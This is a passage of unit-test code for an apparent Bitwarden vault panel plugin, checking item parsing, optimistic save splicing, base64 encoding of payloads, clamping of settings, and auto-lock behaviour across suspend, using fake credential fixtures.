&& /statusCheckAuthoritative\s*=\s*authoritative\s*!==\s*false/.test(panelSrc)
&& /if\s*\(!authoritative\)\s*\{[\s\S]{0,220}return/.test(bodyOf("onStatusFinished")),
bodyOf("runStatusCheck") + "\n" + bodyOf("onStatusFinished") + "\n" + timer)
const sync = bodyOf("onSyncFinished")
check("a successful server sync also reloads items before metadata",
/beginInitialVaultLoad\(/.test(sync) && !/loadOrganizations\(/.test(sync) && !/loadFolders\(/.test(sync), sync)
check("the empty list says when items are loading", panelSrc.includes('"Loading items..."'), "missing loading label")
const syncButton = panelSrc.slice(panelSrc.indexOf("// Sync Vault Button"), panelSrc.indexOf("// Send Button"))
check("the compact sync control reports progress using supported PanelActionButton properties",
/tooltipText:\s*root\.isSyncing\s*\?\s*"Syncing\.\.\."/.test(syncButton)
&& /enabled:\s*!root\.isSyncing/.test(syncButton)
&& !/iconSpinning/.test(syncButton),
syncButton)
check("the panel header reports sync progress in text",
/if\s*\(root\.isSyncing\)\s*return\s*"Syncing\.\.\."/.test(panelSrc),
"missing Syncing... header state")
const listProcessStart = panelSrc.indexOf("id: listProc")
const listProcess = listProcessStart === -1 ? "" : panelSrc.slice(listProcessStart, listProcessStart + 900)
check("the item process waits for onExited instead of racing its stdout and stderr handlers",
/onExited:[\s\S]*onListProcessExited/.test(listProcess)
&& !/onStreamFinished:[\s\S]*onListFinished/.test(listProcess),
listProcess)
const processBlock = id => {
const idAt = panelSrc.indexOf(`id: ${id}`)
if (idAt === -1) return ""
const next = panelSrc.indexOf("\n Process {", idAt)
return panelSrc.slice(idAt, next === -1 ? panelSrc.length : next)
}
for (const id of ["statusProc", "sessionHandoffProc", "listOrgsProc", "listFoldersProc",
"orgCollectionsProc", "listSendsProc", "keyringLookupMasterProc",
"getItemProc", "getTotpProc"]) {
const block = processBlock(id)
check(`${id} accepts output only after its exit status is known`,
/onExited:/.test(block) && !/onStreamFinished:/.test(block), block)
}
console.log(`${pass} passed, ${failures.length} failed`)
if (failures.length) {
console.error("\nFAILURES:\n " + failures.join("\n "))
process.exit(1)
}
@@ -0,0 +1,462 @@
#!/usr/bin/env node
// The item detail view is built from what `bw list items` already returned
// rather than from a second `bw get item`. That is only correct if the two
// produce the same detail, so that equivalence is the property under test.
//
// node tests/items.test.js
const fs = require("fs")
const path = require("path")
const Model = {}
new Function("exports", fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8")
.replace(/^\.pragma library\s*$/m, "") + `
exports.parseItems = parseItems
exports.parseItemDetail = parseItemDetail
exports.itemDetailFromObject = itemDetailFromObject
exports.itemTypeGlyph = itemTypeGlyph
exports.parseSanitizedItems = parseSanitizedItems
exports.filterItems = filterItems
exports.buildCreatePayload = buildCreatePayload
exports.buildEditPayload = buildEditPayload
exports.matchesQuery = matchesQuery
exports.createItemCommand = createItemCommand
exports.spliceSavedItem = spliceSavedItem
exports.optimisticItem = optimisticItem
exports.replaceItemById = replaceItemById
exports.findItemById = findItemById
exports.pendingItemId = pendingItemId
exports.isPendingItemId = isPendingItemId
exports.savedUnsanitizedMarker = savedUnsanitizedMarker
exports.identityFullName = identityFullName
exports.getItemCommand = getItemCommand
exports.editItemCommand = editItemCommand
exports.deleteItemCommand = deleteItemCommand
`)(Model)
let pass = 0
const failures = []
const check = (l, ok, d) => ok ? pass++ : failures.push(`${l}\n ${d}`)
// Shaped like a real `bw list items` entry, which carries the complete cipher
// -- this is what makes the second CLI call unnecessary.
const login = {
object: "item", id: "11111111-1111-1111-1111-111111111111",
organizationId: null, folderId: "f1", type: 1, name: "GitHub",
notes: "recovery codes in the safe", favorite: true,
login: {
username: "octocat", password: "s3cr3t-p4ss", totp: "JBSWY3DPEHPK3PXP",
uris: [{ match: null, uri: "https://github.com/login" }]
},
fields: [{ name: "recovery", value: "abcd-efgh", type: 1 }]
}
const card = {
object: "item", id: "22222222-2222-2222-2222-222222222222",
type: 3, name: "Visa", notes: "", favorite: false,
card: { cardholderName: "A Person", brand: "Visa", number: "4111111111111111",
expMonth: "04", expYear: "2030", code: "123" }
}
const identity = {
object: "item", id: "33333333-3333-3333-3333-333333333333",
type: 4, name: "Home", notes: "", favorite: false,
identity: { title: "Mr", firstName: "A", middleName: "Q", lastName: "Person",
username: "aperson", company: "Acme", email: "a@example.com",
phone: "555", ssn: "000-00-0000", passportNumber: "P123",
licenseNumber: "L456", address1: "1 Road", address2: "Flat 2",
address3: "", city: "Town", state: "ST",
postalCode: "00000", country: "US" }
}
const sshPublic = { id: "ssh-1", name: "Work SSH", type: 5, organizationId: "org-1",
folderId: "folder-1", favorite: true, reprompt: 1,
sshKey: { publicKey: "ssh-ed25519 AAAATEST", fingerprint: "SHA256:public" } }
const sanitized = Model.parseSanitizedItems(JSON.stringify({ items: [login], sshKeys: [sshPublic] }))
check("sanitized envelope adds a public SSH item", sanitized.length === 2
&& sanitized.some(i => i.typeCode === 5 && i.publicKey === "ssh-ed25519 AAAATEST"), JSON.stringify(sanitized))
const ssh = sanitized.find(i => i.typeCode === 5)
check("SSH search and favorite filtering use the combined list",
Model.filterItems(sanitized, "AAAATEST", "all", "all", "all").length === 1
&& Model.filterItems(sanitized, "", "favorite", "all", "all").some(i => i.id === "ssh-1"), JSON.stringify(sanitized))
check("SSH detail is public-only", ssh && Model.itemDetailFromObject(ssh.rawObject).password === ""
&& Model.itemDetailFromObject(ssh.rawObject).publicKey === "ssh-ed25519 AAAATEST", JSON.stringify(ssh))
check("generic write and private-read commands reject SSH", Model.buildCreatePayload(5, "x") === null
&& Model.buildEditPayload(ssh, "x") === null && Model.getItemCommand("ssh-1", 5).length === 0
&& Model.editItemCommand("ssh-1", 5).length === 0 && Model.deleteItemCommand("ssh-1", 5).length === 0, "guard missing")
// --- the equivalence the optimisation rests on ------------------------------
for (const raw of [login, card, identity]) {
const viaGetItem = Model.parseItemDetail(JSON.stringify(raw))
const viaList = Model.itemDetailFromObject(raw)
check(`${raw.name}: the list-built detail matches the get-item-built detail`,
JSON.stringify(viaList) === JSON.stringify(viaGetItem),
`\n list: ${JSON.stringify(viaList)}\n get: ${JSON.stringify(viaGetItem)}`)
}
// --- parseItems keeps what the detail view needs ----------------------------
const listed = Model.parseItems(JSON.stringify([login, card, identity]))
check("every listed item carries its raw object", listed.every(i => i.rawObject), "missing rawObject")
const listedLogin = listed.find(i => i.id === login.id)
const detail = Model.itemDetailFromObject(listedLogin.rawObject)
check("the password survives the round trip through the list",
detail.password === "s3cr3t-p4ss", detail.password)
check("so does the TOTP key", detail.totpKey === "JBSWY3DPEHPK3PXP", detail.totpKey)
check("so do custom fields, which the list view itself never shows",
detail.fields.length === 1 && detail.fields[0].name === "recovery"
&& detail.fields[0].value === "abcd-efgh", JSON.stringify(detail.fields))
check("so do notes", detail.notes === "recovery codes in the safe", detail.notes)
check("so do URIs", detail.uris[0] === "https://github.com/login", JSON.stringify(detail.uris))
const listedCard = listed.find(i => i.id === card.id)
const cardDetail = Model.itemDetailFromObject(listedCard.rawObject)
check("card numbers and codes survive too",
cardDetail.card.number === "4111111111111111" && cardDetail.card.code === "123",
JSON.stringify(cardDetail.card))
const listedIdentity = listed.find(i => i.id === identity.id)
const identityDetail = Model.itemDetailFromObject(listedIdentity.rawObject)
check("identity fields survive too",
identityDetail.identity.email === "a@example.com" && identityDetail.identity.postalCode === "00000",
JSON.stringify(identityDetail.identity))
// --- cards and identities are first-class, not decoration --------------------
//
// The model parsed both of these long before anything drew them, so these
// assertions guard the half that was always right as much as the half that
// was added: what the list shows, what search can find, and above all what
// survives an edit.
check("an identity carries the fields Bitwarden actually returns",
identityDetail.identity.middleName === "Q" && identityDetail.identity.company === "Acme"
&& identityDetail.identity.passportNumber === "P123"
&& identityDetail.identity.address2 === "Flat 2",
JSON.stringify(identityDetail.identity))
check("a full name closes the gaps rather than padding them",
Model.identityFullName({ title: "", firstName: "", middleName: "", lastName: "Person" }) === "Person",
JSON.stringify(Model.identityFullName({ lastName: "Person" })))
check("a card row is subtitled with its brand and last four",
listedCard.subtitle === "Visa •••• 1111", listedCard.subtitle)
check("an identity row is subtitled with its name, not left blank",
listedIdentity.subtitle === "Mr A Q Person", listedIdentity.subtitle)
// Anything the list is willing to show, the search box has to be able to find.
check("a card is found by its brand", Model.matchesQuery(listedCard, "visa"), listedCard.subtitle)
check("a card is found by its last four", Model.matchesQuery(listedCard, "1111"), listedCard.subtitle)
check("a card is not found by the middle of its number",
!Model.matchesQuery(listedCard, "111111111"), "a stored-card-number lookup is not this box's job")
check("an identity is found by name", Model.matchesQuery(listedIdentity, "person"), listedIdentity.subtitle)
check("an identity is found by email", Model.matchesQuery(listedIdentity, "a@example.com"), listedIdentity.subtitle)
// --- payloads ---------------------------------------------------------------
const createdCard = Model.buildCreatePayload(3, "New", "", "", "", "", "", false, null, null, null,
{ cardholderName: "B Person", brand: "MC", number: "5555444433332222", expMonth: "01", expYear: "2031", code: "999" })
check("creating a card emits a card object and no login",
createdCard.type === 3 && createdCard.card.number === "5555444433332222"
&& createdCard.card.code === "999" && createdCard.login === undefined,
JSON.stringify(createdCard))
const createdIdentity = Model.buildCreatePayload(4, "New", "", "", "", "", "", false, null, null, null,
{ firstName: "Ada", lastName: "Lovelace", email: "ada@example.com" })
check("creating an identity emits an identity object",
createdIdentity.type === 4 && createdIdentity.identity.firstName === "Ada"
&& createdIdentity.identity.email === "ada@example.com"
&& createdIdentity.identity.ssn === "",
JSON.stringify(createdIdentity))
// The regression that matters most here. The form can rename a card without
// ever showing its number, and the writers set every key they know -- so an
// edit that passes no type fields must leave the sub-object entirely alone,
// not blank it. This is what the `&& typeFields` guard in buildEditPayload is
// for, and it is worth an assertion because nothing about the call site looks
// dangerous.
const renamedCard = Model.buildEditPayload({ typeCode: 3, rawObject: card },
"Renamed", "", "", "", "", "", false, null, null, null)
check("renaming a card leaves its number, expiry and code untouched",
renamedCard.name === "Renamed" && renamedCard.card.number === "4111111111111111"
&& renamedCard.card.code === "123" && renamedCard.card.expYear === "2030",
JSON.stringify(renamedCard.card))
const renamedIdentity = Model.buildEditPayload({ typeCode: 4, rawObject: identity },
"Renamed", "", "", "", "", "", false, null, null, null)
check("renaming an identity leaves its fields untouched",
renamedIdentity.identity.email === "a@example.com" && renamedIdentity.identity.ssn === "000-00-0000",
JSON.stringify(renamedIdentity.identity))
const editedCard = Model.buildEditPayload({ typeCode: 3, rawObject: card },
"Visa", "", "", "", "", "", false, null, null, null,
{ cardholderName: "A Person", brand: "Visa", number: "4111111111111112", expMonth: "05", expYear: "2031", code: "321" })
check("an edit that does carry card fields writes them",
editedCard.card.number === "4111111111111112" && editedCard.card.code === "321"
&& editedCard.card.expMonth === "05",
JSON.stringify(editedCard.card))
check("editing a card never turns it into a login",
editedCard.type === 3 && editedCard.login === undefined, JSON.stringify(Object.keys(editedCard)))
// --- the encoder swap --------------------------------------------------------
//
// `bw encode` base64-encodes stdin and does nothing else -- no vault, no
// session, no network. It cost a full Bitwarden CLI startup, measured at 2.7
// seconds, on every save, folder creation and Send. coreutils does it in about
// two milliseconds. These assertions hold the two halves of that swap: the
// output really is identical, and the payload still never reaches argv.
const { execFileSync } = require("child_process")
const encodeSamples = [
'{"name":"Test","type":3}',
'{"name":"unicode \u00e9\u00e5\u4e2d","notes":"line1\nline2"}',
'{"name":"' + "x".repeat(500) + '"}',
'{"password":"p@ss w/ spaces & $pecial \'quotes\'"}',
]
for (const sample of encodeSamples) {
const ours = execFileSync("bash", ["-c", 'printf "%s" "$P" | base64 -w0'],
{ env: { ...process.env, P: sample } }).toString()
const node = Buffer.from(sample, "utf8").toString("base64")
check(`base64 -w0 matches a reference encoder for ${sample.slice(0, 28)}...`,
ours === node, `${ours}\n !=\n ${node}`)
}
check("base64 -w0 emits a single line, as the CLI's stdin requires",
!execFileSync("bash", ["-c", 'printf "%s" "$P" | base64 -w0'],
{ env: { ...process.env, P: '{"name":"' + "y".repeat(400) + '"}' } }).toString().includes("\n"),
"a wrapped encoding would reach `bw` as several lines")
for (const [label, cmd] of [
["create item", Model.createItemCommand({ name: "x" })[2]],
["edit item", Model.editItemCommand("id-1", 1)[2]],
]) {
check(`${label} pipes the payload from the environment through base64`,
/printf '%s' "\$QSBW_ITEM" \| base64 -w0 \|/.test(cmd), cmd)
check(`${label} still keeps the payload out of argv`,
!cmd.includes("password") && !cmd.includes("cardholderName"), cmd)
}
// --- splicing a save into the list ------------------------------------------
//
// A save used to be followed by re-listing and re-decrypting the whole vault
// to learn about the one item just written. The save's own response is the
// authoritative post-save state, so the list is brought up to date from that.
// These assertions cover the ways that can go wrong, because a list that
// quietly disagrees with the vault is worse than a slow one.
const envelope = (...objs) => JSON.stringify({
sshCapability: "unconfirmed", items: objs, sshKeys: []
})
const listed3 = Model.parseItems(JSON.stringify([login, card, identity]))
// An edit replaces in place and does not duplicate.
const renamed = { ...card, name: "Amex" }
const afterEdit = Model.spliceSavedItem(listed3, envelope(renamed))
check("editing an item replaces it rather than adding a second copy",
afterEdit.length === listed3.length
&& afterEdit.filter(i => i.id === card.id).length === 1,
JSON.stringify(afterEdit.map(i => i.name)))
check("the replacement carries the saved values",
afterEdit.find(i => i.id === card.id).name === "Amex",
JSON.stringify(afterEdit.find(i => i.id === card.id)))
// A create appends and sorts, rather than landing at the end of the list.
const created = { object: "item", id: "44444444-4444-4444-4444-444444444444",
type: 1, name: "AAA First", favorite: false, login: { username: "a" } }
const afterCreate = Model.spliceSavedItem(listed3, envelope(created))
check("creating an item adds it", afterCreate.length === listed3.length + 1,
String(afterCreate.length))
// The login fixture is a favourite, so it sorts above everything; the new
// item is expected at the head of the non-favourites, not of the whole list.
check("a created item lands in sort order, not at the end",
afterCreate.filter(i => !i.favorite)[0].name === "AAA First",
JSON.stringify(afterCreate.map(i => `${i.name}:${i.favorite}`)))
// Favourites sort above everything, so toggling one has to move the row.
const favourited = { ...card, favorite: true }
const afterFav = Model.spliceSavedItem(listed3, envelope(favourited))
check("favouriting an item moves it into the favourites block",
afterFav.filter(i => i.favorite).some(i => i.id === card.id)
&& afterFav.findIndex(i => i.id === card.id) < afterFav.findIndex(i => !i.favorite),
JSON.stringify(afterFav.map(i => `${i.name}:${i.favorite}`)))
// A rename has to re-sort too, or the row stays where its old name put it.
const renamedFirst = { ...login, name: "AAA Renamed" }
const afterRename = Model.spliceSavedItem(listed3, envelope(renamedFirst))
check("renaming an item re-sorts it",
afterRename.filter(i => i.favorite)[0].name === "AAA Renamed",
JSON.stringify(afterRename.map(i => `${i.name}:${i.favorite}`)))
// The spliced row must be a list row, not a raw cipher: the list draws
// subtitles and copy buttons off these fields.
const splicedCard = afterEdit.find(i => i.id === card.id)
check("a spliced row is parsed into list shape, not left as a raw cipher",
splicedCard.typeCode === 3 && splicedCard.subtitle === "Visa •••• 1111"
&& splicedCard.hasPassword === false,
JSON.stringify(splicedCard))
// --- everything that must fall back to a full reload -------------------------
check("an unrecognised envelope refuses to splice",
Model.spliceSavedItem(listed3, '{"not":"an envelope"}') === null, "expected null")
check("malformed JSON refuses to splice",
Model.spliceSavedItem(listed3, "{oops") === null, "expected null")
check("an envelope carrying more than one item refuses to splice",
Model.spliceSavedItem(listed3, envelope(renamed, created)) === null, "expected null")
check("an empty envelope refuses to splice",
Model.spliceSavedItem(listed3, envelope()) === null, "expected null")
check("an item with no id refuses to splice",
Model.spliceSavedItem(listed3, envelope({ ...card, id: "" })) === null, "expected null")
check("the saved-but-unsanitized marker is a fixed sentinel the panel can test",
typeof Model.savedUnsanitizedMarker() === "string"
&& Model.savedUnsanitizedMarker().length > 0
&& Model.spliceSavedItem(listed3, Model.savedUnsanitizedMarker()) === null,
Model.savedUnsanitizedMarker())
// The save pipeline must sanitize its response the same way the list does,
// because a save returns a complete decrypted cipher just as `bw list` does.
const createCmd = Model.createItemCommand({ name: "x" })[2]
check("a save runs its response through the strict JSON validator",
createCmd.includes("TextDecoder") && createCmd.includes("Array.isArray"), createCmd.slice(0, 200))
check("a save runs its response through the allowlisting filter",
createCmd.includes("ordinary item carries an SSH key subtree")
&& createCmd.includes("sshCapability"), createCmd.slice(0, 200))
check("a failed save is never reported as a success",
/if \[ "\$__rc" -ne 0 \]; then exit "\$__rc"; fi/.test(createCmd), createCmd)
// --- saving without making the user wait -------------------------------------
//
// A save costs whatever `bw` costs: a second or two of CLI startup, vault
// decryption and a round trip, none of which this plugin can shorten. So the
// form closes when the command is launched and the list shows the item as it
// will be, marked as saving, until the vault answers.
const draftCard = { type: 3, name: "Draft Visa", notes: "", favorite: false,
card: { brand: "Visa", number: "4111111111111111", code: "999",
expMonth: "01", expYear: "2031", cardholderName: "A Person" } }
const provisional = Model.pendingItemId(12345)
const optimistic = Model.optimisticItem(draftCard, provisional)
check("an optimistic row is built through the same parser as a real one",
optimistic.typeCode === 3 && optimistic.subtitle === "Visa •••• 1111"
&& optimistic.hasPassword === false,
JSON.stringify(optimistic))
check("and is marked as still saving", optimistic.pending === true, JSON.stringify(optimistic))
check("a provisional id is recognisable as one",
Model.isPendingItemId(optimistic.id), optimistic.id)
check("a real vault id is not mistaken for a provisional one",
!Model.isPendingItemId(card.id), card.id)
// The response carries the id the server assigned, which is not the one the
// row went in under.
const createdEnvelope = JSON.stringify({
sshCapability: "unconfirmed",
items: [{ ...draftCard, object: "item", id: "55555555-5555-5555-5555-555555555555" }],
sshKeys: []
})
const withOptimistic = Model.replaceItemById(listed3, provisional, optimistic)
check("the optimistic row goes into the list", withOptimistic.length === listed3.length + 1,
String(withOptimistic.length))
const settled = Model.spliceSavedItem(withOptimistic, createdEnvelope, provisional)
check("the saved item replaces the provisional row rather than joining it",
settled.length === withOptimistic.length
&& settled.filter(i => Model.isPendingItemId(i.id)).length === 0,
JSON.stringify(settled.map(i => i.id)))
check("and lands under the id the server assigned",
settled.some(i => i.id === "55555555-5555-5555-5555-555555555555"),
JSON.stringify(settled.map(i => i.id)))
check("the settled row is no longer marked as saving",
!settled.find(i => i.id === "55555555-5555-5555-5555-555555555555").pending,
"a row that has landed must not keep spinning")
// A refused save must not leave the panel showing something the vault rejected.
check("a failed create takes its provisional row back out",
Model.replaceItemById(withOptimistic, provisional, null).length === listed3.length,
"a create that failed must leave no row behind")
const editOptimistic = Model.optimisticItem(
{ ...card, name: "Renamed while saving" }, card.id)
const duringEdit = Model.replaceItemById(listed3, card.id, editOptimistic)
check("an optimistic edit replaces in place rather than duplicating",
duringEdit.length === listed3.length, String(duringEdit.length))
check("a failed edit puts the previous row back",
(() => {
const before = Model.findItemById(listed3, card.id)
const after = Model.replaceItemById(duringEdit, card.id, before)
const restored = Model.findItemById(after, card.id)
return after.length === listed3.length && restored.name === "Visa" && !restored.pending
})(), "the list must return to what the vault actually holds")
check("finding an item by id returns null rather than throwing when absent",
Model.findItemById(listed3, "nope") === null, "expected null")
// --- the fallback path still has to behave ----------------------------------
check("a missing raw object yields null rather than a broken detail",
Model.itemDetailFromObject(null) === null, String(Model.itemDetailFromObject(null)))
check("so does a non-object", Model.itemDetailFromObject("nope") === null,
String(Model.itemDetailFromObject("nope")))
check("unparseable JSON still yields null from the string form",
Model.parseItemDetail("{not json") === null, String(Model.parseItemDetail("{not json")))
// --- the type glyphs -------------------------------------------------------
//
// Pinned by codepoint, because a wrong one is invisible in review: the glyph
// renders as a small picture in the editor and the name is nowhere in the
// source. Two of these were wrong for exactly that reason -- Secure Note drew
// md-fan (a ceiling fan) and Card drew md-close_octagon_outline (a stop sign),
// both under comments claiming otherwise. The values below are the same ones
// the type filter chips in Panel.qml use, which is the point: a row and the
// chip that selects it should not disagree.
const glyphs = [
[1, 0xF030B, "md-key_variant", "Login"],
[2, 0xF0219, "md-file_document", "Secure Note"],
[3, 0xF0FEF, "md-credit_card", "Card"],
[4, 0x0F007, "fa-user", "Identity"]
]
for (const [typeCode, cp, name, label] of glyphs) {
const got = Model.itemTypeGlyph(typeCode)
check(`${label} draws ${name}`, got.codePointAt(0) === cp,
`U+${got.codePointAt(0).toString(16).toUpperCase()}`)
check(`${label} is one glyph, not a sequence`, [...got].length === 1, JSON.stringify(got))
}
// itemTypeName() already answers "login" for anything it does not recognise,
// so a cipher type Bitwarden adds later renders as a login rather than as
// nothing. That also means itemTypeGlyph's own `default:` shield can never be
// reached -- pinned here so the next reader does not go looking for it.
check("an unrecognised type is drawn as a login, not as the unreachable shield",
Model.itemTypeGlyph(99).codePointAt(0) === 0xF030B,
Model.itemTypeGlyph(99).codePointAt(0).toString(16))
// A key icon on the password controls, not a refresh icon. Pinned by button
// rather than by count, because what broke this was a bulk glyph replacement
// that meant to touch one new button and silently rewrote every other use of
// the same codepoint. A count alone would have moved with it.
const panelSrc = fs.readFileSync(path.join(__dirname, "..", "Panel.qml"), "utf8")
const KEY = String.fromCodePoint(0xF0306)
const passwordButtons = [
['tooltipText: "Password generator (g)"', "the generator button"],
['tooltipText: "Copy password (Enter / y)"', "copy password on an item row"],
['tooltipText: "Copy password (y / Enter)"', "copy password in the detail view"],
['selected: root.genOpts.type === "password"', "the generator's Password type"],
]
for (const [anchor, label] of passwordButtons) {
const at = panelSrc.indexOf(anchor)
const before = at < 0 ? "" : panelSrc.slice(Math.max(0, at - 200), at)
const icon = before.lastIndexOf("iconText:")
check(`${label} wears the key glyph`,
at >= 0 && icon >= 0 && before.slice(icon).includes(KEY),
at < 0 ? `anchor missing: ${anchor}` : JSON.stringify(before.slice(icon).trim()))
}
check("the Generate... button wears it too",
/text: "Generate\.\.\."[\s\S]{0,80}iconText: "\u{F0306}"/u.test(panelSrc),
"the field-level generator shortcut")
console.log(`${pass} passed, ${failures.length} failed`)
if (failures.length) { console.error("\nFAILURES:\n " + failures.join("\n ")); process.exit(1) }
@@ -0,0 +1,396 @@
#!/usr/bin/env node
// What the panel must stop doing when the vault is not open.
//
// Three ways it kept going anyway, all of them silent:
//
// 1. The auto-lock countdown ran on a Qt Timer, and Qt schedules on
// CLOCK_MONOTONIC, which Linux stops while the machine is suspended. A
// fifteen-minute lock armed just before the lid closed still had fifteen
// minutes left when the lid opened, so a vault left overnight came back
// open. The deadline is now kept in wall-clock terms as well.
//
// 2. The minute count behind that countdown came out of shell.json, and
// nothing validates shell.json. A non-numeric value reached QML as NaN and
// landed in an `int` property as 0, which is how "never lock" is spelled; a
// value past the schema's ceiling overflowed Timer.interval into a negative
// number, which never fires. Both readings were a vault that never locked.
//
// 3. Nothing cancels a `bw` that is already running, so a `bw list items`
// started a second before the lock finished afterwards and put the whole
// vault -- passwords and all -- back into a panel that had just dropped it.
//
// node tests/lock-state.test.js
const fs = require("fs")
const path = require("path")
const Model = {}
new Function("exports", fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8")
.replace(/^\.pragma library\s*$/m, "") + `
exports.intSetting = intSetting
exports.settingSchemaEntry = settingSchemaEntry
exports.SETTINGS_SCHEMA = SETTINGS_SCHEMA
exports.autoLockExpired = autoLockExpired
exports.autoLockPollMs = autoLockPollMs
exports.vaultReadIsStale = vaultReadIsStale
exports.parseItems = parseItems
`)(Model)
let pass = 0
const failures = []
const check = (l, ok, d) => ok ? pass++ : failures.push(`${l}\n ${d}`)
const panelSrc = fs.readFileSync(path.join(__dirname, "..", "Panel.qml"), "utf8")
const bodyOf = (name) => {
const start = panelSrc.indexOf(`function ${name}(`)
if (start === -1) return ""
let depth = 0
for (let i = panelSrc.indexOf("{", start); i < panelSrc.length; i++) {
if (panelSrc[i] === "{") depth++
else if (panelSrc[i] === "}" && --depth === 0) return panelSrc.slice(start, i + 1)
}
return ""
}
// --- 1. The schema is the same on both sides of shell.json ------------------
// The settings screen clamps to SETTINGS_SCHEMA on the way out and the
// marketplace shows manifest.json's min/max, so the two have to agree or the
// clamp on the way back in enforces a range nobody was shown.
const manifest = JSON.parse(fs.readFileSync(path.join(__dirname, "..", "manifest.json"), "utf8"))
const manifestEntries = {}
for (const e of manifest.barWidget.schema) manifestEntries[e.key] = e
for (const entry of Model.SETTINGS_SCHEMA) {
if (entry.type !== "int") continue
const m = manifestEntries[entry.key]
check(`manifest declares ${entry.key}`, !!m, JSON.stringify(Object.keys(manifestEntries)))
if (!m) continue
check(`${entry.key} min agrees with the manifest`, m.min === entry.min, `${m.min} vs ${entry.min}`)
check(`${entry.key} max agrees with the manifest`, m.max === entry.max, `${m.max} vs ${entry.max}`)
check(`${entry.key} default agrees with the manifest`,
m.defaultValue === entry.defaultValue, `${m.defaultValue} vs ${entry.defaultValue}`)
check(`${entry.key} default agrees with the widget defaults block`,
manifest.barWidget.defaults[entry.key] === entry.defaultValue,
`${manifest.barWidget.defaults[entry.key]} vs ${entry.defaultValue}`)
// The ceiling exists so the value can be turned into milliseconds and put in
// a Timer, whose interval is a signed 32-bit int.
const scale = entry.key === "autoLockMinutes" ? 60 * 1000 : 1000
check(`${entry.key} max still fits Timer.interval`,
entry.max * scale <= 2147483647, `${entry.max * scale}`)
}
// --- 2. Reading a setting back out of shell.json ----------------------------
// `omarchy bar set` writes whatever it is handed -- a bare word becomes a JSON
// string, --json stores any number at all -- and the README documents editing
// the file by hand, so every one of these is reachable.
for (const [key, raw, want, why] of [
["autoLockMinutes", 15, 15, "an ordinary value is untouched"],
["autoLockMinutes", "30", 30, "the string form `omarchy bar set` writes without --json"],
["autoLockMinutes", 0, 0, "an explicit 0 still means never"],
["autoLockMinutes", "fifteen", 15, "a word falls back to the default, NOT to 0/never"],
["autoLockMinutes", undefined, 15, "an unset key falls back to the default"],
["autoLockMinutes", null, 15, "a null falls back to the default"],
["autoLockMinutes", "", 15, "an empty string falls back to the default"],
["autoLockMinutes", true, 15, "a boolean falls back to the default"],
["autoLockMinutes", 999999, 1440, "a count that would overflow Timer.interval is capped"],
["autoLockMinutes", 1e30, 1440, "so is one written in exponential notation"],
// The floor of every integer setting here doubles as its "off" sentinel, so
// clamping a negative up to it is the silent never-lock this clamp exists to
// refuse, reached from the other side. Below the range is a bad value, not a
// request for zero.
["autoLockMinutes", -5, 15, "a negative count is the default, NOT 0/never"],
["autoLockMinutes", "-1", 15, "including the string form"],
["autoLockMinutes", -Infinity, 15, "and the one that arrives as -Infinity"],
["autoLockMinutes", 15.9, 15, "a fraction truncates rather than reaching the Timer"],
["clearClipboardSec", 100000, 300, "the clipboard timeout has its own ceiling"],
["clearClipboardSec", "soon", 30, "and its own default"],
["clearClipboardSec", -1, 30, "and a negative there is not 'never clear' either"],
["autoCopyTotpSec", 999, 30, "so does the TOTP delay"],
["autoCopyTotpSec", "off", 3, "and its default is not 0 either"],
["autoCopyTotpSec", -3, 3, "and a negative is its default too"],
]) {
const got = Model.intSetting(key, raw)
check(`intSetting(${key}, ${JSON.stringify(raw)}) -> ${want}: ${why}`, got === want, `got ${got}`)
}
check("every clamped value is a finite integer",
[undefined, null, "", "x", {}, [], NaN, Infinity, -Infinity, 1e400].every(v => {
const n = Model.intSetting("autoLockMinutes", v)
return Number.isInteger(n) && n >= 0 && n <= 1440
}), "one of the junk values escaped the clamp")
check("the panel reads its int settings through the clamp",
/autoLockMinutes:\s*Model\.intSetting\("autoLockMinutes"/.test(panelSrc)
&& /clearClipboardSec:\s*Model\.intSetting\("clearClipboardSec"/.test(panelSrc)
&& /autoCopyTotpSec:\s*Model\.intSetting\("autoCopyTotpSec"/.test(panelSrc),
"expected Model.intSetting() on all three integer settings")
// --- 3. The auto-lock deadline survives a suspend ---------------------------
const t0 = 1700000000000
check("not expired before the window is up",
Model.autoLockExpired(t0, 15, t0 + 14 * 60000) === false, "expired early")
check("expired the moment the window is up",
Model.autoLockExpired(t0, 15, t0 + 15 * 60000) === true, "did not expire")
// The bug itself. The shell is frozen across a suspend, so the monotonic Timer
// counts only the seconds either side of it; the wall clock counts the night.
const awakeMsBeforeSuspend = 60 * 1000
const suspendMs = 12 * 60 * 60 * 1000
check("a twelve-hour suspend expires a fifteen-minute window",
Model.autoLockExpired(t0, 15, t0 + awakeMsBeforeSuspend + suspendMs) === true,
"the vault would have come back unlocked")
check("the monotonic clock alone would not have noticed",
awakeMsBeforeSuspend < 15 * 60000, "premise of the test is wrong")
check("zero minutes is the user asking for no auto-lock, not an instant one",
Model.autoLockExpired(t0, 0, t0 + suspendMs) === false, "locked with auto-lock off")
check("an unarmed window has no deadline to have passed",
Model.autoLockExpired(0, 15, t0) === false, "locked without ever being armed")
check("junk cannot make it lock, or stop it locking",
Model.autoLockExpired(NaN, 15, t0) === false
&& Model.autoLockExpired(t0, NaN, t0 + suspendMs) === false
&& Model.autoLockExpired(t0, 15, NaN) === false,
"a NaN got through")
for (const [minutes, want] of [[15, 30000], [60, 30000], [1, 30000], [0, 30000]]) {
check(`autoLockPollMs(${minutes}) === ${want}`, Model.autoLockPollMs(minutes) === want,
String(Model.autoLockPollMs(minutes)))
}
check("the poll never outlasts the window it is watching",
[1, 5, 15, 1440].every(m => Model.autoLockPollMs(m) <= m * 60000), "poll longer than the window")
check("and never busy-loops",
[0, 1, 15, 1440].every(m => Model.autoLockPollMs(m) >= 1000), "poll under a second")
check("the panel arms the window in wall-clock terms",
/autoLockArmedAt\s*=\s*Date\.now\(\)/.test(bodyOf("resetAutoLockTimer")),
bodyOf("resetAutoLockTimer"))
const watchdog = panelSrc.slice(panelSrc.indexOf("id: autoLockWatchdog"),
panelSrc.indexOf("id: autoLockWatchdog") + 900)
check("the panel runs a wall-clock watchdog alongside the monotonic timer",
panelSrc.includes("id: autoLockWatchdog"), "no autoLockWatchdog Timer")
check("the watchdog repeats, or it is just the monotonic timer again",
/repeat:\s*true/.test(watchdog), watchdog)
check("the watchdog only runs on an unlocked vault",
/running:\s*root\.status === "unlocked" && root\.autoLockMinutes > 0/.test(watchdog), watchdog)
check("the watchdog asks the wall clock",
